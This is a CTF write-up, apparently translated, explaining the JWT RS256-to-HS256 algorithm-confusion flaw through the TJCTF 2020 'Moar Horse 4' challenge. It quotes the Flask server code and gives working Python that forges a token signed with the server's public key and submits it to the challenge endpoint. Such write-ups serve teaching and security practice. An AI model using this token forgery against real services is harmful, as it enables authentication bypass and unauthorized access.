Attacking JSON Web Token (JWT)

In this post we’ll see how a website that uses JWT incorrectly allows us to create users with arbitrary data. We will rely on a challenge from the CTF TJCTF, specifically the Moar Horse 4 challenge.

JWT

A JWT (JSON Web Token) is a string containing a signed data structure, typically used to authenticate users. The JWT contains a cryptographic signature, for example a HMAC over the data. Because of this, only the server can create and modify tokens. This means that the server can securely put userid=123 on the token and deliver the token to the client, without having to worry about the client changing its userid. This way, authentication can be stateless: the server does not have to remember anything about the tokens or the users because all the information is contained in the token.

The JSON Web Tokens generally consist of three parts: a header or header, a content or payload, and a signature or signature. The header identifies which algorithm was used to generate the signature and usually looks like this:

header = '{"alg": "HS256", "typ": "JWT"}'

HS256 indicates that this token is signed using HMAC-SHA256.
The content contains the user’s privilege information or data:

payload = '{"loggedInAs": "admin", "iat":1422779638}'

The token can be easily transmitted in HTTP environments, similar to XML-based standards such as SAML. Generally the encryption algorithms used are HMAC with SHA-256 (HS256) and digital signature with SHA-256 (RS256).

Vulnerabilities

There is a well-known vulnerability in certain versions of the libraries where the server can be fooled into expecting tokens signed by asymmetric encryption to accept symmetrically signed tokens. The crux of the matter is that by changing the algorithm of the token from ‘RS’ to ‘HS’, a vulnerable endpoint will use its public key to verify the token symmetrically (and being public, that key is not very secret).

A single bit deviation will give a different result than the other. And that’s a problem with this attack: if the public key we use to forge a signature is somehow different from the key the server is using to verify the signature, a vulnerable implementation may not be reported.

PoC – Proof of concept

For the demonstration of this vulnerability we will use a web challenge from the TJCTF 2020: Moar Horse 4.

Statement

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it ‘Moar Horse 4’… See if you can get a flag from it!
Server Source Code

Resolution

This is a web server by Flask which is a minimalist framework written in Python that allows to create web applications quickly and with a minimum number of lines of code.

Below is some of the code from the website where you can see how the tokens are generated and validated, among other things.

from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib

app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)

BOSS_HORSE = "MechaOmkar-YG6BPRJM"

with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()

with open("privkey.pem", "rb") as file:
    PRIVATE_KEY = file.read()

Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
    for name in file.read().strip().split("\n"):
        valid_horses[next_id] = Horse(name, 100, next_id)
        next_id += 1

with open("flag.txt", "r") as file:
    flag = file.read()

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

The index of the web looks like this:

And It allows us to register on the site, where we can compete in horse races and buy others.

In order to participate in the races, you need a horse:

However, with only $100 you cannot buy horses capable of beating the “current champion”.


We’re going to capture some requests with BurpSuite so we can analyze the token:

The three parts of the token are separated by points (“.”):

header.data.signature

These parts are coded in base64:

Before creating new tokens by giving us more money or changing any of the JSON data fields, let’s read the server code:

@app.route("/")
def main_page():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            return render_template("main.html", money=data["money"])
        else:
            response = make_response(render_template("new_user.html"))
            response.delete_cookie("token")
            return response
    else:
        return render_template("new_user.html")

The first endpoint loads us the template main.html in case we have a correct token in our cookies and leads us to new_user.html in case we don’t have a token or it is not correct.
When we register, a token is created for us:

@app.route("/join")
def join():
    data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": []
    }
    response = make_response(redirect("/"))
    response.set_cookie("token", generate_token(data))
    return response

The really interesting thing is in the endpoint /do_race:

@app.route("/do_race")
def do_race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "horse" in request.args:
                race_horse = request.args.get("horse")
            else:
                return redirect("/race")
            owned_horses = data["horses"]
            if race_horse not in owned_horses:
                return redirect("/race?error")

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)
        else:
            return redirect("/")
    else:
        return redirect("/")

First we check that the token is correct and the next step is to check if our horse’s speed is higher than the champion’s.
These speeds are calculated with the lines:

boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
if your_speed > boss_speed:
    return render_template("race_results.html", money=data["money"], victory=True, flag=flag)

So the goal is to find a horse whose md5 in hexadecimal is greater than the md5 in hexadecimal than the champion:

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
race_horse = 0

while True:
    if int(hashlib.md5(("Horse_" + str(race_horse)).encode()).hexdigest(), 16) > boss_speed:
        break
    race_horse += 1

Once we know our horse’s name, we have to generate the token. It is important to change the algorithm to “HS256”:

def generate_jwt_b64(data):
    return base64.urlsafe_b64encode(data).decode().replace("=", "")

header = {
    "typ":"JWT",
    "alg":"HS256"
}
data = {
    "user": True,
    "is_omkar": False,
    "money": 100,
    "horses": [str(race_horse)]
}

token = generate_jwt_b64(json.dumps(header).encode()) + "." + generate_jwt_b64(json.dumps(data).encode())

Finally sign it with the public key that is included in the source code:

with open("server/pubkey.pem", "rb") as f:
signature = hmac.new(
    f.read(),
    msg=token.encode(),
    digestmod=hashlib.sha256
)
print(signature.digest())
token = token + "." + generate_jwt_b64(binascii.a2b_hex(signature.hexdigest()))

With the previous lines we already have a correct token, we can test it by making the request to /do_race:

r = requests.get(url="https://moar_horse.tjctf.org/do_race", params={"horse": "6441910"}, cookies={"token": token})
print(re.search(r'<p>(.*?)</p>', r.text).group(0))

References

¿Me ayudas a compatirlo?